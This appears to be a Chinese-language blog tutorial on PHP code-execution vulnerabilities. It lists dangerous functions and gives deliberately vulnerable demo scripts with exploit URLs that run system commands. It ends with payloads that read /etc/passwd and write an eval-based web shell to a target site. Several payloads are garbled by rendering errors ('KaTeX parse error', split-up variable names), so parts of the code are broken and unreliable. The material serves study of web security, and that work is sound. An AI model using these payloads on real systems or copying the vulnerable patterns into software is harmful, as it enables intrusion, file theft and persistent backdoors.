当应用在调用一些能将字符转化为代码的函数(如PHP中的eval)时, 没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。
常见敏感函数(代码执行函数)
eval()
preg_replace()
当pattern中存在/e模式修饰符,匹配上时,即允许执行replacement中的代码。assert()
create_function()
call_user_func()
call_user_func_array()
``反引
system()
exec()
shell_exec()
passthru()
pcntl_exec()
文件包含代码注入
当文件包含函数(include、include_once、require、require_once)中包含输入变量时,可能导致代码注射。条件:allow_url_include=On,PHP Version>=5.2.0正则表达代码注入
preg_replace()函数:
当pattern中存在/e模式修饰符,匹配上时,即允许执行replacement中的代码。
第一个(pattern)参数注入
条件:magic_quotes_gpc=Off,pattern参数中注入/e选项;
demo code:
<?php echo $regexp = $_GET['reg']; $var = '<php>phpinfo()</php>'; preg_replace("/<php>(.*?)$regexp", '\\1', $var);?>访问http://127.0.0.1/preg_replace1.php?reg=%3C/php%3E/e
即会执行phpinfo()
第二个人(replacement)参数注入
条件:pattern参数中带/e <?phppreg_replace("/testxxx/e",$_GET['h'],"jutst test testxxx!");?> 提交 http://127.0.0.1/demo2.php?h=phpinfo()时, 即 执行phpinfo()。动态代码执行
动态变量代码执行
<?php$dyn_func = $_GET['dyn_func']; $argument = $_GET[‘argument’]; d y n f u n c ( dyn_func( dynfunc(argument);?>当http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig时,执行ipconfig命令动态函数代码执行
关键函数:create_functiondemo code: <?php$foobar = $_GET['foobar'];$dyn_func = create_function('$foobar', "echo $foobar;");$dyn_func('');?> 当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令其他
array_map()函数ob_start()函数???函数处理函数:http://www.php.net/manual/zh/book.funchand.phphttp://www.xxx.com/News/detail/id/{KaTeX parse error: Expected '}', got 'EOF' at end of input: {@eval(_POST[aa])}}
得到当前路径http://www.xxx.com/News/detail/id/{${print(getcwd()))}}
读文件http://www.xxx.com/News/detail/id/{KaTeX parse error: Expected '}', got 'EOF' at end of input: …e_get_contents(_POST[‘f’])))}}
POST的数据为:f=/etc/passwd
写shellhttp://www.xxx.com/News/detail/id/{KaTeX parse error: Expected '}', got 'EOF' at end of input: …e_put_contents(_POST[‘f’],$_POST[d])))}}
POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?>